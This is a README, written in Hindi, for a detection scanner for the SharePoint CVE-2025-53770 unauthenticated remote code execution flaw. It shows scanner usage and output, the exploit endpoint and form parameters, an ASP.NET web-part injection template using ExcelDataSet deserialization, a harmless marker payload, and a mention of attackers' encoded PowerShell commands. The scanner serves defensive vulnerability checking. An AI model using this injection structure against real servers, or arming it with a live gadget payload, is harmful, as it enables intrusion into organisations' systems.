
# SharePoint CVE-2025-53770 RCE ज़ीरो-डे भेद्यता के लिए स्कैनर (hazcod/CVE-2025-53770 से फ़ोर्क)
यह SharePoint की बिना प्रमाणीकरण वाली रिमोट कोड निष्पादन भेद्यता के लिए एक स्कैनर है, जिसे CVE-2025-53770 नंबर दिया गया है। इसका कोड वाइल्ड में देखे गए पेलोड को रिवर्स-इंजीनियर करके लिखा गया था।
अपने जोखिम पर उपयोग करें, मैं इसके कारण होने वाले किसी भी नकारात्मक प्रभाव के लिए जिम्मेदार नहीं हूं।
यह SharePoint ToolBox विजेट में एक मार्कर इंजेक्ट करके भेद्यता का शोषण करने का प्रयास करता है। यदि SharePoint सर्वर प्रतिक्रिया में यह हानिरहित मार्कर पाया जाता है, तो होस्ट को असुरक्षित (vulnerable) चिह्नित किया जाता है।
# check if <TARGET-HOSTNAME> is vulnerable and try extract version information
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# turn on debug logging and try retrieving SharePoint version information
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
कोई भी जो SharePoint सर्वर का ऑन-प्रिमाइसेस संस्करण बिना KB5002768 और KB5002754 के चला रहा है।
यह भेद्यता संभवतः SharePoint के लिए पहले से खुलासा की गई भेद्यता, CVE-2025-49706 पर आधारित है।
HTTP POST अनुरोध https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx पर GZIP और BASE64-एन्कोडेड पेलोड के साथ भेजकर, आप SharePoint रनटाइम प्रक्रिया के रूप में रिमोट कोड निष्पादन प्राप्त कर सकते हैं।
यहाँ दो फॉर्म पैरामीटर महत्वपूर्ण हैं:
MSOTlPn_Uri: नियंत्रण स्रोत पथयह एक वैध SharePoint नियंत्रण (AclEditor.ascx) का संदर्भ देने का दिखावा करता है, और SharePoint को वेब पार्ट संपादन की अनुमति देने के लिए धोखा देता है।
यह केवल सत्यापन पास करने के लिए एक नकली/झूठा मान प्रतीत होता है।
मूल दुर्भावनापूर्ण पेलोड में MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx शामिल है, लेकिन ऐसा लगता है कि इस बिंदु पर इसका उपयोग नहीं किया गया है।
MSOTlPn_DWP: वेब आंशिक कॉन्फ़िगरेशन।यह पैरामीटर कस्टम ASP.NET निर्देश (<%@ Register %>) और सर्वर-साइड मार्कअप (<Scorecard:ExcelDataSet>) इंजेक्ट करता है।
CompressedDataTable पैरामीटर हमलावर-नियंत्रित सीरियलाइज़्ड डेटा (GZIP + base64) रखता है, जो RCE को ट्रिगर करता है।
यह पेलोड एक निश्चित संरचना का अनुसरण करता है:
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
यदि Scorecard:ExcelDataSet जैसा कोई नियंत्रण मौजूद है और उसकी CompressedDataTable संपत्ति सेट है, तो इसे SharePoint DWP पार्सर द्वारा सीधे डिसीरियलाइज़ किया जाता है।
पेलोड स्वयं काफी दिलचस्प हो सकता है, क्योंकि इसमें System.DelegateSerializationHolder हो सकता है जो एक डिसीरियलाइज़ेशन RCE को ट्रिगर करता है।
खतरे के अभिकर्ताओं ने कोड निष्पादन प्राप्त करने के लिए अपने पेलोड में /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> पास करने के लिए इसका दुरुपयोग किया।
हमारे मामले में, हम केवल शोषणक्षमता साबित करने के लिए एक स्थिर प्लेसहोल्डर पास करते हैं;
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>